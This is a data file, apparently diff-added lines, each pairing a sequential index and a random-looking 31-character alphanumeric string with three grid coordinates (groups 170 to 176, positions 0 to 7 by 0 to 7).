+10843,1B34K4Y8NVB86ES9SKU4GLF5XFXTGQJ=,170,3,2 +10844,9XK9RPAVCYN3P6FM205HSI8AI599GP5=,170,3,3 +10845,W4R5ILRZXDCF1WTYB6IC55EFGUJXMYW=,170,3,4 +10848,3C0S1RS1WY9HS38ULBT2ICEATL9AJT6=,170,3,7 +10849,EWY96XE9GJE73WLRYD4K9679282LTZ7=,170,4,0 +10850,7ABDC6KVSYWN93FGW54ZWOY6RYIDQ78=,170,4,1 +10851,QQ4XGY48P3LCQIR2DV0YXYH4AEIES4I=,170,4,2 +10852,ZX4OKS4DIWMCFGIFWUGL4F4JGNIP9ZZ=,170,4,3 +10853,IJ922UEB1NCOTVDNF66KW8X61OYLU0F=,170,4,4 +10854,ZSDHU07BESMFDII1ZWHR9ZBDJ5DNQ4J=,170,4,5 +10855,54BDI3Y472F1N9320XP851DX7MNH8IM=,170,4,6 +10856,BDQAU60N15IN7ZNFHP4G5OBNM6H332I=,170,4,7 +10857,BC9XD66ZHSNI3ZD6HQ6C81FBFVK5QQQ=,170,5,0 +10858,08N9RBFIIJSO7BD2GNTTS1SAN64S5JR=,170,5,1 +10859,XVBVFQEB8LBYN00Y8HE8X0JRNMAOW0A=,170,5,2 +10860,NXE2Z5ARBWRWIKLTBJJD89FIHBKLMN1=,170,5,3 +10861,81XAZ42I29D7GG3WFIOLF5481164JH5=,170,5,4 +10862,629F57UIEK8PGL5Q1YXHXB80AEB4G0Z=,170,5,5 +10863,R9R70EW4LJCB3SYF638RE6HW4VP0IMT=,170,5,6 +10864,4690500LORD9X4LRIRO02X06L13YP85=,170,5,7 +10865,7A9Z3IJPDP6H4NDLWYX19008YKFT82O=,170,6,0 +10866,YH972G2E99EBZGZ6N3IGLRN6PHIAYKL=,170,6,1 +10867,S5YQDR7IEJ0X2QU2OGKI38XPN6133JJ=,170,6,2 +10868,ODXWCSTCPBDP0WZ81ERM82C1CBBW9FF=,170,6,3 +10869,KFBPR1B73ZCJ257TKVUF9LIN4UIUU0U=,170,6,4 +10870,8STYBSF9RI5JA8O9VQAOZFADSWOQFJL=,170,6,5 +10871,FO7UAVNY8KTVKUWFWHDVYWYUV19ICS9=,170,6,6 +10872,10AM0NQX3WG0P0YXB78HZ4HDOJKDO4Z=,170,6,7 +10873,NODGP2705FXF4BS9W8BG0OBHOB6C0M8=,170,7,0 +10874,FA8VN5KRKZLB7PCYEQ9SQOGL5PK50OQ=,170,7,1 +10875,6UXO9RANW3SRIAO6K2SSRQUBIPOO4IK=,170,7,2 +10876,E9DW04HFP0HTAI5SET0FF8UBMT0LM85=,170,7,3 +10877,EHF3IFLHBQH9JSDIPNQT4JGD6XQ0OUK=,170,7,4 +10878,5KZYXYIWRL7FELNH986ZZTL1TGXSB7I=,170,7,5 +10879,X9D8PZG24QD8W95AFBOUT9T7K40182W=,170,7,6 +10880,L08HBHYIO1GKSPF8YNNHC6LH8CKHVQA=,170,7,7 +10881,CO068EIOEZ1Y139Z10SPUWNCL5T40TU=,171,0,0 +10882,X5OG8UFXJPYTD8AA6325BSUKFGPNM8O=,171,0,1 +10883,5NYO43N93HMGQJL33SEQ16QX9NJ7MM2=,171,0,2 +10884,6Q7PB791D52VGNMKVSTWLAWKUAMVJ8Q=,171,0,3 +10885,UBJD7ZIC85J65L9DOOWK6S49PDJYKR2=,171,0,4 +10886,F7GKH0FRGJDYH4IVLMMN6M9A8CHJ02K=,171,0,5 +10887,K3Y8366UU1RH97B2R70XDANDJNP1LV3=,171,0,6 +10888,9MJIUDO1BVJIG44C4XHO64NM77RXOA5=,171,0,7 +10889,5AW3KS5BZX6MERPIEL5UIE8S0PJL6K1=,171,1,0 +10890,3TO88R08WWWORCSLOPBZAXI5C2JD355=,171,1,1 +10891,DHD69RACG3D5QADKEZJ1BAR93E0O6AB=,171,1,2 +10892,GAU6TML4776ALKMGYQ77V36K6NDEBIX=,171,1,3 +10893,N70YW4ZN1954OHCLT7ZSOTTPXY7SEB3=,171,1,4 +10894,6GOE1SG411NI8KINVY9RHEO6B4T4RGH=,171,1,5 +10895,P8NRB1ON7TRMWOQLU1T2ZR3Y02RO0K8=,171,1,6 +10896,XO7AXCJE2GN54H9VIPEQ24I1S7QR4MK=,171,1,7 +10897,W7J4EWELJN3OTHK67EJMUK8CT0HDKI6=,171,2,0 +10898,1L7AVLW4S4F2Q89Z9SCT7T8O6UUN7S9=,171,2,1 +10899,HMFF65BXAL09E3LI9X2Y8MBYE1I2YKK=,171,2,2 +10900,TV9DJN2WP6I718RU60A1II2J2CF5JHY=,171,2,3 +10901,QBW1TDLR926PELDJNYQ7CGRM6JD7Y8E=,171,2,4 +10902,KZRQXK5GUGQ3PTCQZTL8XQ3B0LJ9IQK=,171,2,5 +10903,C4IX13402PJTXX18H9FF30W859IH220=,171,2,6 +10904,BIV12MS9ZD2CYPSJAHIUJXO5TMYI6IF=,171,2,7 +10905,S3KR0JSSJS62B6GJOFTW54D1KPUBSKB=,171,3,0 +10906,MKLMT7X1396B0PMK7I4LVJHJYKMM0H9=,171,3,1 +10907,L2RLKN0OQ4RMXAZO5QNKZFUOZVH4ZTP=,171,3,2 +10908,QYQ8YO7MPQJ5SITV3XHODIPJGGQHY4U=,171,3,3 +10909,PZR6CIEON399YRKO0LROXSOV5Q8VQD8=,171,3,4 +10912,R6GTXANHBL4OKZKZLAR89GDHM5JOH9C=,171,3,7 +10913,U7FJTOKWOO36KDCE8C7EV3HPM522XL1=,171,4,0 +10914,RX4LWEIDZM77XQHT4LZWXUIT0YU3E2M=,171,4,1 +10915,SRJPLPPCFOGAI85I58PH6U0UR0DNU1Z=,171,4,2 +10916,4QDZFCGJA8XZRBC3UH25E36M5CESPCQ=,171,4,3 +10917,SM8SBV8YU5EF8R1SBTLTPAB9YVLPJWL=,171,4,4 +10918,NCNX8EGRJ7FY6JW8J1OXV7J21RWZU8Z=,171,4,5 +10919,JMZMB3QH3H1W3797BCKLY3XCKUA3KFP=,171,4,6 +10920,3WWQCJEQ4QVEQ7747RIUMSONOOZBEP0=,171,4,7 +10921,J1L46CBKUWPO15NWVNIGI9CWC1W7B96=,171,5,0 +10922,42OL088PEQYBP7CFC1YB96C2HEDAMPK=,171,5,1 +10923,Q04MLYKBZZN1QSZZOOZN7T15ZDBMPER=,171,5,2 +10924,L8X99CJ3D2P7I288PXY94YHBYDASRP5=,171,5,3 +10925,MBYLA12DO8I4KOZ6A8Z1UMXA1NUJCR3=,171,5,4 +10926,PE47W9BU3UBMES4MZJCNEDD6UT3ML63=,171,5,5 +10927,HAQYAL6ZLJM8Z558FU023WRLA87HRE4=,171,5,6 +10928,TM5K11BF8G5TJRNZ0YYW47ERRO9841E=,171,5,7 +10929,ND6Y5E0ROID0ZAQH2FAQ7VWDG5V5XLA=,171,6,0 +10930,MJE5JM5MR1D5ZOLXMJO5T0HQLPQ03UR=,171,6,1 +10931,1C6YXDPM2WGZPZKIEZMX1QPJ72XPRJA=,171,6,2 +10932,HFUY1U4T84F8247F0VCPNE7UEROUIGD=,171,6,3 +10933,DDP5IGM1XGXWQ6EETQRT7NGLLHEY5ZS=,171,6,4 +10934,WTBEFUBI9CQLYLXT9FMWQIB6GB51PPE=,171,6,5 +10935,ZBTVFATHE41NZS7BGQBXINP9CL8JOGV=,171,6,6 +10936,6C20OLXJTHE15RJF5AG5D8Q28RBB3IK=,171,6,7 +10937,13IOL50V6NDJJLVNS9OWG69WXTBPNIG=,171,7,0 +10938,UNVDTVK9R7JT94BWJTK1WW7930YABTO=,171,7,1 +10939,OV3D2UER9DTNGR0P623UGUX34I9VT88=,171,7,2 +10940,0TZXCYVQ847UQISEP4IPM7QW6R8PA0U=,171,7,3 +10941,ZLGX4CGX4SOBPAHIB6F9D5UM8246A7G=,171,7,4 +10942,WV42WMURHNEM8SL03SU1DAWTW0UFPZ3=,171,7,5 +10943,RTDRAWSCFRXML9Z21BWYLAKVQI9UP1Y=,171,7,6 +10944,61VLTIM6JBOV6GY8MUQ3I4IRTTBV7E4=,171,7,7 +10945,ZXP6ETDTGXTWPGG6WR72SE6Z3ZDUDP7=,172,0,0 +10946,7RQ5DXC0Q03HVXQDYM3UX84AFLS909G=,172,0,1 +10947,BX5W2GAAK84L84ONR8TQW713KJCG1A1=,172,0,2 +10948,LVK1JM0W6MEAJQU5OLNQ011T3RY7Y6W=,172,0,3 +10949,8NGGWLZ4V8QV636EO3ZVQE2ULHQRP8H=,172,0,4 +10950,A18CFIVKRJQ23WFGU0PB2HG4XUG7OOK=,172,0,5 +10951,243VZ2EAYG33P9Q3STUEH0FVU49A3B6=,172,0,6 +10952,MY7CFKT8AQA813VO81N8KHR9K537KMV=,172,0,7 +10953,N975L71DS6AN93KYHP7RJP835MIOVQT=,172,1,0 +10954,P1M1CA1DAZTM3NLBBP3J8Z90TYBCT02=,172,1,1 +10955,3QIJX69ECZYC7WY9KVY7AHQ2TRED71V=,172,1,2 +10956,OYVBX8LVU1P43779OQFUQFZOQYBE79A=,172,1,3 +10957,21XWRFAXZYL9TIYS9Y2LQAS4SV8E1FO=,172,1,4 +10958,5BEROLMPN33UC6KGEDHE3CM8DWPJ3LL=,172,1,5 +10959,B1TTIHW1AE1UNU6ER66NWYRR77ILR00=,172,1,6 +10960,VW7N1YAYR8X3PCHKLLVDFKUSUU9LMH6=,172,1,7 +10961,GU26U4WRDKM8L7SNL3Y0Z56N4XC3DFN=,172,2,0 +10962,WSTRB07Y908UO2MCHG74O6JFFPFQWHM=,172,2,1 +10963,A4DCZ9H024RWKUTAR70NW45M49MDE64=,172,2,2 +10964,OXNJ034X81KYPSWQPCQ2ZIZ07U8P3FC=,172,2,3 +10965,W1U1GHQKM07H3MH60UB03E2HFQPTX1M=,172,2,4 +10966,OKUNXQ7OS7YCWXRA8G0KYC06MHEXXVA=,172,2,5 +10967,1GSUK6Q4OAMHBVVRS483D5GEWWESM27=,172,2,6 +10968,KJYM36MR5XJE3BBHB9QKTKDOEHVQUFQ=,172,2,7 +10969,NOO6CRFJ8UEWHRQGLIINWV0VMEMA16E=,172,3,0 +10970,CGAUTMT6GZS4YAUL3NJ9K10LP26G08U=,172,3,1 +10971,5XT306681ZJ2219RPBOHAE5JOHD3YSB=,172,3,2 +10972,P80BYJFNRXRP5K9PRRNHRI1OW6SM8C4=,172,3,3 +10973,R4O5AJ5IZ29O0JIY35T7IDVKP0XNDIZ=,172,3,4 +10974,7ML5MI9PT79AD27K83HD1U3VRKUQ5DC=,172,3,5 +10975,TLMK81NBSR514P5A3OE5CF2LG4JHD8E=,172,3,6 +10976,N9M29UGLOW7N2RQ0POUUXQD8E798XNC=,172,3,7 +10977,XR7LU27GNKIMH5FHCMKF5XNZR66QXLB=,172,4,0 +10978,WBLDVSOIC3BOEG4KI3Q2TYMJ64TVVP9=,172,4,1 +10979,KQPTYWLPZJG786M27EOCK4HIDM9ZZH8=,172,4,2 +10980,W258PO8T3AA8E6LSGVPGGI6Q8B44WKP=,172,4,3 +10981,FJ3ZBVP9RGYBTKFJGE3L91SED9G7M7Y=,172,4,4 +10982,CG4NHPPK7YAV6DJRCBI8EU9YIV1WCTM=,172,4,5 +10983,UF9OV13CA6BQLGD1SX8K8Y4KB6MP32I=,172,4,6 +10984,FQAKB9AIAIFDIQ62CXONQ8T4YDM8KKU=,172,4,7 +10985,6OLWI7QHKYRQQVQHD73S1AUWLRA8X86=,172,5,0 +10986,39QL45DMWPXRO24W9RIYF93B6DLC9EB=,172,5,1 +10987,9GBXAZ0T38RHMXJWY84YBD9PFLAB8MG=,172,5,2 +10988,MHDWMS9GJ2S2EHED7MDJH5MIOTI6QB3=,172,5,3 +10989,H990S6FHBVRIK29FLR58ECR38FXNLI5=,172,5,4 +10990,J0BMIJLUJAJHA4K5A75QBIKX9ANKXCM=,172,5,5 +10991,30YTVIG6WZZGT4V3F5EOV4138UOQXTL=,172,5,6 +10992,GRQ5ZV71NKK1DWVNEMOLXID87ZSS1NP=,172,5,7 +10993,3K6Z5WQEXGDAG4PU2MPNM5Y2PBYDPJ8=,172,6,0 +10994,P9KJOIHSGQZAWO613R8MO24HLRTGF2I=,172,6,1 +10995,T7IBHGRG5CPNOX2EFZ5ZIX0Q7SZKF2L=,172,6,2 +10996,JII9NEXVDFRIAQKVJA7KAO0YWM4HROK=,172,6,3 +10997,WX7E6XGGLUOG3GKN2QZ8FOI2TDLTRR3=,172,6,4 +10998,48D6ZWHD85HFQSFO0VB6B2VRE044DR9=,172,6,5 +10999,0ORXH8E0Y2EOTFDG3WCMJOWFBDURMB3=,172,6,6 +11000,W2QIXZB037KL8MXITEFGY8E7RZ9RC19=,172,6,7 +11001,78YHFBJ1XNE00I753OIRR8X43ROVZSV=,172,7,0 +11002,1WCDWBGBRSLGSE45W3VKUVVS8C4PSYE=,172,7,1 +11003,32E99RZ41L2E3I99WHT4CUX97DWIY3C=,172,7,2 +11004,XPZ3A1RLHZ7F7TAD6SVHHV025YIH0UP=,172,7,3 +11005,IJWTPBQTTS9RDX7B631QRCIZ9ED04N5=,172,7,4 +11006,YCQTQCYWMUT0KHHO87A78NEUAXFJZVI=,172,7,5 +11007,D28FCBMBN94TM453F7QVNNEXB8GGB9F=,172,7,6 +11008,926XMPWKIOXP52X63M9DMO3GAWJZ02M=,172,7,7 +11009,1C6M5JRJLIW6E1TIE3JLI0POPADLXUO=,173,0,0 +11010,56BC9BDO7IZWPT3XK33XEQYBRGNF6RR=,173,0,1 +11011,280DCBH7E4F8MV358WFFCX7ZRY26GDX=,173,0,2 +11012,QC6X0THBUEK7M7SCA9QPF6UCON2NI7K=,173,0,3 +11013,QC98XKSHLB8JNWD5GKO5KCCV5DDWDHP=,173,0,4 +11014,3OVTF77XJN5SAAGCJOQ4AM0BMTBM6Z5=,173,0,5 +11015,TMK6PH1Q2ZP7IE1PS9B2VD861Q3BSRW=,173,0,6 +11016,KC5QM61MB89NM6F85G03ZU4BQHQ2P9D=,173,0,7 +11017,PUESN92N6WV5P51C2L90X06UH4Q9IXT=,173,1,0 +11018,W08UTU2U8WA2BDBH48E7V2B4JXIP35P=,173,1,1 +11019,D3UB0R95HQ6OIPQY5L2ZIXFWWURSN1K=,173,1,2 +11020,0B82UCZETQH03LQSGTZTX4GNAZIWWA9=,173,1,3 +11021,GQCFA6B9554ILUJ4A2D0QNPJWLXM8S6=,173,1,4 +11022,F1581T5EOOQA1GT6T3GR1TA7VJVFCKW=,173,1,5 +11023,SVHAWMNQ58NU2US82N5DRHOH0VG2ERE=,173,1,6 +11024,NGRV95UR6JBVJC9BII9CCQLJ96FSUKI=,173,1,7 +11025,XH1Z4P7XIQE9YUUY3FXO5VDP58WB035=,173,2,0 +11026,R9BZ57JG2A27W6IUH75SXRVCX1P358M=,173,2,1 +11027,301YZIZUC1DIFQOZJT6CC919F6HJV4H=,173,2,2 +11028,20XMTK8EHQL3M8258DC5ET4WBI0C0W0=,173,2,3 +11029,AKYBRQFAY4SS9UUY67SFQ9JUKQ8J95L=,173,2,4 +11030,C982625JOYUYTDKXYQVK8U7NTE1W5XD=,173,2,5 +11031,BJDY1JZQF9OI2VWH74ARPJB96BDGLDK=,173,2,6 +11032,YNIY0ZG2ZUOBGKPGHXPJL6TSCXAXILE=,173,2,7 +11033,25KMGHQYC29B926LSPUJPMEKGJ5XJTU=,173,3,0 +11034,I4P823HSMR8YNQ54J95QZA1G7OSYSW1=,173,3,1 +11035,V30AOBYVW0U69QFON8R76QEDYWRRK8L=,173,3,2 +11036,NTO9O3L7KT1OMQG9JLE6PUWUU15FRX7=,173,3,3 +11037,YYPQECO1EO4PN8FT20GCAVCPCU117AC=,173,3,4 +11038,Z2V48PZZ0I8X1503GYEF4CL3QKUCCQJ=,173,3,5 +11039,08VT6PVUFTN9RTBZ2XVKO58RSDPW9MP=,173,3,6 +11040,MBESQP6S5DXGA6HJPK6KRNNDXZZGGIG=,173,3,7 +11041,6A7EA5ZHUBN604TTE44WBY11S7PDIHI=,173,4,0 +11042,CNMT2E72TVFBJPRBHMUBQEYDDB6SP8Y=,173,4,1 +11043,3069GEDI57D9Q3KUKOO2DBRK5LCFNTD=,173,4,2 +11044,XCII32WAAZ9LYFYMQOQEYSJQI2EQ2Z9=,173,4,3 +11045,NLNEWXCW246IGY0I5M4PXF9ACG3MKE3=,173,4,4 +11046,3MOKHN1747QY4AL0G1VQBVZ4401KSYK=,173,4,5 +11047,27TE1KFE69K60JTDCOC0DMVWA17VM5I=,173,4,6 +11048,TB341OYSQSJ1E442N5V993IJOQHXJBT=,173,4,7 +11049,DT6ZSNX8YWLOF1ZMSQ14GADYVYC0J2E=,173,5,0 +11050,2VNR5ATULOQ74SIOVYB2HOM950QW75G=,173,5,1 +11051,46ILZ283S5OYK7NI6RR08Y8RE4L2UC6=,173,5,2 +11052,RFCJNJAY1IAWXXCF8REHQCWDX07UZOY=,173,5,3 +11053,M31LDS1MZTLCE65MZ3T3C9WW8PKNMFD=,173,5,4 +11054,55CHEAFYHN6JZVSLUIQP90I3OSM54RJ=,173,5,5 +11055,SCRNCODVD97UVAKB2FYMUKU1T1ESCV5=,173,5,6 +11056,GC24V2PDCQC7SMJBMS8CP6FLVJVFWJG=,173,5,7 +11057,G2Q8TRHTLS453XYTKKEAGK3I7LG0DGG=,173,6,0 +11058,TW57ESUGAL4SPVDB5LSAC9ITN39EQQE=,173,6,1 +11059,F0RG46REC5WTNCZWE9SJZ47G9BN3E33=,173,6,2 +11060,88NOEIW2HBJR7THU47H9HMPP8A7R4T7=,173,6,3 +11061,CVORV7JEJ10CZOJI2UYZVSVGMDNDESA=,173,6,4 +11062,TGFVLYF6QLM5KIQQVR2LDZSJSC21W0R=,173,6,5 +11063,YAFQG0S523BQGFFDT659Y907WFL71MF=,173,6,6 +11064,8QMA5TK9X3FMHJD4SY6TH65L2MSY1SD=,173,6,7 +11065,1TIGIJV5GDF69V6QUJJD8LNIXHXMYXU=,173,7,0 +11066,NWWN26C7KTH2GPVDXM58T40RXYRJV14=,173,7,1 +11067,ERELZYCF4WKT4J5RRCOAOE8H559DQ8Y=,173,7,2 +11068,DLTMVXVL16098KQRDJ6SX50XSQYRW71=,173,7,3 +11069,Y7JOWMOHB8D5KWN655OJM7YE8ZRPMZR=,173,7,4 +11070,EK583D1H3DVDG1JA44YQRBK2ANBQP5J=,173,7,5 +11071,NJUNFZ74G57QFJPIIEPFMJQCGEYXDRU=,173,7,6 +11072,5MFO6M8RBEJKWB9WQJUMCHDNR0HSXEN=,173,7,7 +11073,O0XO7PO69LYLB57A485OWAM3O4WOZHW=,174,0,0 +11074,M3WN2DT3XJU8NAJH69TGWD6T2KYAX1B=,174,0,1 +11075,M870MNK8MTFKRZ2GJGK5DD7NFA75XOQ=,174,0,2 +11076,GP63XUQSAX35HOOJNOPHRQKSX5TKQR7=,174,0,3 +11077,IEI3J8CMJCH6GKIKXAKZ1HKTN00XQGS=,174,0,4 +11078,H5RUZYJB3RLJACPZ09AIY5HM28KPJ8M=,174,0,5 +11079,NTHQUUPA26ZGS9X0TBNKS520XEWXSHO=,174,0,6 +11080,VJWR7FORPY2FANOSJDBGBERXBQGSNKJ=,174,0,7 +11081,S3VJF851RMXYROPHFPG2YG8EKKD76XV=,174,1,0 +11082,59DFC62E65K3TH6OB6SZEZQTLLBCRX2=,174,1,1 +11083,P09PBPTSNL08ULGA1A4D3SMD9AD37J0=,174,1,2 +11084,9IU1R0TIXNLX2WFIT1BME1IBXJPF6WL=,174,1,3 +11085,QSGZS8UHDQ6RTNI80COKJORH4LZS2A5=,174,1,4 +11086,ZDYOQTDDGCH7V5667PDTQ6TZ0C9XZ24=,174,1,5 +11087,0KDMEYZQ2UIX43UEVVA03FZ9VVL6OI2=,174,1,6 +11088,UZNV7EIMJCO53A9BTXMWK5S1VGDHZZ9=,174,1,7 +11089,1WSYH33RGRDW3I7NABV8OKM9QM8S7SZ=,174,2,0 +11090,Q7V8DATF7NVJOK5HXOCSM21A505PR5Q=,174,2,1 +11091,DMQ11TAPV7I8703BVVWKIIVKAGHP38T=,174,2,2 +11092,P4ZS1GWA0K580DJ9I8KIGHO9WO2I6NK=,174,2,3 +11093,8MDSWNCINS71TBUIZ4LNL7D2XVZCEVV=,174,2,4 +11094,T5STPUR9RGDJYVXRQ25QS240VRA961P=,174,2,5 +11095,J876HKHSZ3YR24HQG504I2EF8987RTH=,174,2,6 +11096,KF0HZX3ZBZG4YUD3DYVJV884S3CCL4W=,174,2,7 +11097,MLZOR3SQ3IXFXM005SLT6AV2I4NKE0G=,174,3,0 +11098,CBP3G82CW2TRJDQ8L9PUWWSN14Z1ZSJ=,174,3,1 +11099,O60Q0W7TUDYNIAH1YRZFD1111KEXJBJ=,174,3,2 +11100,WBPA03RQGFTY8V9WTLFNWTTM2V5P36P=,174,3,3 +11101,01JISPG6BPLSO93QW76JDQG48VNC5BL=,174,3,4 +11102,IL5136NR4SE75PF4AY18BYPL4H2ILY4=,174,3,5 +11103,9EI5J1T8BZCAYS283T0BT9TQI5REMJI=,174,3,6 +11104,6TYBG7T42KX3IETV8Y2FBC6LPOJDZZZ=,174,3,7 +11105,V6E3Q28SRDD914BP31FGEOP7OOOG65Y=,174,4,0 +11106,7PSSSGZ0TUHI3C3RDW96472OJM6ESFH=,174,4,1 +11107,Q6JKS5YFI4GNUBIMUOOJSOQH7RFDR8O=,174,4,2 +11108,AI479DD74WY3I7XZGYK5F4O4YA9DFEY=,174,4,3 +11109,2TLGL2TCJNK867NFQDEAK7VIRH5F1GV=,174,4,4 +11110,IVIWRP9QLOTAFJES2PXXJE5A4HVYICP=,174,4,5 +11111,WGBAN2SUDPBTBOKW3QQK6VMDDTGH6DY=,174,4,6 +11112,O5MZ50ALEFVOUZ585X9KQ9JU4DUAL8E=,174,4,7 +11113,SZDPNW4QWB8X4DQ4F72H237GBND1WPT=,174,5,0 +11114,1Y9M23T2OYJEU9BIAOXERAO0S09CMM8=,174,5,1 +11115,0TZD8EC5DU12SW4DCORB5PLPECCAXW8=,174,5,2 +11116,5U7FNJTBXKHJ0V149OBPVKJ2OYH1QUO=,174,5,3 +11117,REE0SFJR0I4YP0GS1E5VYE0DIS8GNX4=,174,5,4 +11118,VWQTJ6Y7P1I0X1NH3XH2NZ8SZ7CPRTN=,174,5,5 +11119,OY198Q37P2RYMGW0YWSUETDKSF9KLXY=,174,5,6 +11120,4UKIU1B61RTBL3JKQ7MEKFB24P6R9ZG=,174,5,7 +11121,XDHIGPF1J29CRRQW0J7WWLWNG33Y06L=,174,6,0 +11122,VCFKRBCLN45TBNINYN7IA11EZD4W7GQ=,174,6,1 +11123,VSHYX2HBS6DW5NIIR4PQ7P8KAKKIJQL=,174,6,2 +11124,TQ6OCWCST78THD7LPL6GA03LNWP843B=,174,6,3 +11125,UBJ8N18OQIGLQNG8RPCMKHCITTMSOZO=,174,6,4 +11126,MLFWZNPANVXJWQ0PP0VFV0R60R8GRZY=,174,6,5 +11127,OT46VTNWETY4MIQOCKRUPXMNMPXST3F=,174,6,6 +11128,PTPK7OLANQTRISIEBHOICZOLBLWUSQ1=,174,6,7 +11129,7HR4RHOIZ82YQB5FIWFWRY3JNCTV5U2=,174,7,0 +11130,57XL4NSUT1C5H2RI6XZ8N55SABV7HIE=,174,7,1 +11131,EECMESQ2XOZZVPDJDFEVKP6S0XGOL6C=,174,7,2 +11132,FUTSAXZNRPNQ2X735337DO4MUCWEV4Q=,174,7,3 +11133,AC3LDR1SSIPYIS1E7S7X3MXLK5LGL55=,174,7,4 +11134,EV7301SSJHHX4124JKKQ1DUTUP3VGMS=,174,7,5 +11135,G0T2ZMIHV87EYPFXSCPP5MTCKTWZGNK=,174,7,6 +11136,H2MRJD6WX0IDLLV8O2MEV9U5KTQSU2J=,174,7,7 +11137,ZQWG9TR6LXK1UVLBOD9KZORFM9VHB4B=,175,0,0 +11138,7KGQ18ASFYZC4BIXC1EQBJF5ZM54H9S=,175,0,1 +11139,FRXCEN05AMB1YXQOA72951TCPBPDO1R=,175,0,2 +11140,IJARM1BFAW6IAU0UKYAMJEU2CJ82SEN=,175,0,3 +11141,6JPJA9T8NX69PDJPP8R5GKYUX4R38FD=,175,0,4 +11142,QGUTWSBR5LADY1T09RISIEDDON5BUBU=,175,0,5 +11143,MY1BFHKOVTWSTALT0LTU3RT9V9VLVAL=,175,0,6 +11144,ZS1BTYHT8VZJ35K6D3PTG90FR5ELLD3=,175,0,7 +11145,1ZJ8YWLX567QFMOCJI7TDYC5ZR01QBI=,175,1,0 +11146,R75MH2REEFEQQNN1PM2KRRAH5SAEXOW=,175,1,1 +11147,O1ZB4CR2FBOH1ANCQ4SDN6UHZB9L1SY=,175,1,2 +11148,O2HAZMQ7I75IXVAKQAYRBK3FZX5X80D=,175,1,3 +11149,A5IAE8MK5CU8IO9K2CRZMGXQ2HVQY9W=,175,1,4 +11150,FCRV6S9DQO1A6B95TYZ1JFPT8YDUC42=,175,1,5 +11151,5WB4YB42T10ZAOAG7M2MHIVVSI28IL4=,175,1,6 +11152,59DL5Z5GRDTAUQ6JAX2NDO2KRI0DAXQ=,175,1,7 +11153,0Q8VV7DMOOIHEHLNJS731GMMV1IFBXH=,175,2,0 +11154,JOE4XNAOQUFKDS5K3SOTFRHNLGZJRJF=,175,2,1 +11155,OZDX6ICOIDWQTWYNEOBGJ8YU5ZBV7QM=,175,2,2 +11156,4SGFDJA3WQRNC4CT84UHXBC9QEQLI33=,175,2,3 +11157,IZEWCEY7KLK06EM1JLRJ1RSNT2XMHC2=,175,2,4 +11158,0ZS34XK4Y69Z33VT7OTKKFD2AOTS9EE=,175,2,5 +11159,WIYPGWWLFBLDD2FIA00S69270XSWPM8=,175,2,6 +11160,T16KPV6VQ0YACKSN31MFBTB8ZENP0CA=,175,2,7 +11161,4DO1LIEPNXZX50935479GPM0U12XRHO=,175,3,0 +11162,W2VSOW8M36DJYA6W9ZX5XPNJUBQNA8R=,175,3,1 +11163,LSFOHQZOFWJ3F46FYAGYHMJPO6YQ9HH=,175,3,2 +11164,USS71DS0G65U5FRTUQ397L7WE3GEG5C=,175,3,3 +11165,JI9WSUPZMT48MXO5GUF02XTAHB0GW2L=,175,3,4 +11166,X5M5F9DW3NMVMJUUZP8YX0K5WW3BEBK=,175,3,5 +11167,RJJ5NHDGFST8C1N6P4241I43IW9A4GG=,175,3,6 +11168,ZW119N3HSR0IA4X1SD1ZNAZWNVEPTHJ=,175,3,7 +11169,WA5JH7E5082F14IMWODS8LWFUE0RVF3=,175,4,0 +11170,YNK36OFHBZZZ4P6F9JHO80B8D53JW7O=,175,4,1 +11171,IVP96IU2X9Q3VU1LJJT0AB17E2O5UST=,175,4,2 +11172,1D3TQKRUN2MNPGMK3KU5FEDTJC585AJ=,175,4,3 +11173,2BWMFO87MTVRX9KKZGWPZGGN6X52U5E=,175,4,4 +11174,FZRWS9ND8J151OVOEFX5V3KS2VV6BDM=,175,4,5 +11175,RNXS7G3PMJ5BYEKJU320LSUD65J9W2O=,175,4,6 +11176,OEXCKSA2DR2LPK6RDBGG60JP13QC88Y=,175,4,7 +11177,HUR8A2S6F2A3C7KF93IDZVCPEV4DMCH=,175,5,0 +11178,Q60P2ESVIXVWRH4OO9952BV2EXB4XU5=,175,5,1 +11179,481G49S5CKKODJUIJPAAPORRC6FI9LC=,175,5,2 +11180,YH828RVD28PY4VM5QRV2SK25X02NEF8=,175,5,3 +11181,JDL958BM3OHKY7HS7I2X3NZI1BRMNHL=,175,5,4 +11182,RT8Q65X11I8FDR94PK1258NWBHRKIFV=,175,5,5 +11183,STQ90B7BUUK1XKRWA7LXJC3R4SZFFR3=,175,5,6 +11184,1FR52M2H984LLNSARESQUSOXHR06VJ6=,175,5,7 +11185,2CKASJEC6RTM4JM2K1DS45X1MW87S9H=,175,6,0 +11186,9PQUKVCKSIXKGEBK2M855GJDTRCP8QT=,175,6,1 +11187,TG6IULGLFQVS661CN62T9GJXYQUB48N=,175,6,2 +11188,YH22XQPCLAN4XG494PX5OH6G3BGADCH=,175,6,3 +11189,I97POPEPSNXIUVXL7ZLGY2B6CO2JBLB=,175,6,4 +11190,NGYQ33ITY7CS9IJ4PUGM2ZLTLXTVYBO=,175,6,5 +11191,YHC76GJAVP90D0LLJ7SCWLYK0WB6ZWT=,175,6,6 +11192,RV8RG9EZSCRAGQ7MWXM5UAATQD2J5AN=,175,6,7 +11193,49NOGAC92V06FULJHIUA7QSVZ899LXL=,175,7,0 +11194,OGLUPZHVUZIPWMTICINS0ZKFWFXL4KC=,175,7,1 +11195,ZR5X7IKBAJDFERM0931E05XSZ93TPLL=,175,7,2 +11196,TKTFWVPDCWQNQJFBQ3OYHHJS10X5BGY=,175,7,3 +11197,2D4UEWQJOVNMRK7U52CD9R1273GSDF0=,175,7,4 +11198,U2WKY2GWX21XJP5G2MU7VSKWZFY082Z=,175,7,5 +11199,76CC9W7JS8STFNAG73IRPAHBNUMD184=,175,7,6 +11200,5N4OUYSSGXX7JKDBV8AXX2BH4YD8D92=,175,7,7 +11201,PYEWQTKOWN3R9FJNEJPUNYHH3AEPM88=,176,0,0 +11202,LIQOWRZ3KN8I7E9MLMVHTAVW9OD9HXY=,176,0,1 +11203,HJ787U6ECT62S0EI0ZY9B61R0TTV1ZZ=,176,0,2 +11204,L2UL9PSCP4YML1TPRDB0UHBGNYETN2B=,176,0,3 +11205,M57MDR2D3H16TVZEFYCOR11GLISLRG8=,176,0,4 +11206,ZQFT0WWO7OAV30TET5QIJY283JF350R=,176,0,5 +11207,7EOCA0OMI3AZYBG44G22HECHGAFKK55=,176,0,6 +11208,SSQ0SVHGBLC7A18YHEI8503JPV2W35B=,176,0,7 +11209,XQ9C29O79FD8H6EDPVDY5IPB3YWIRP3=,176,1,0 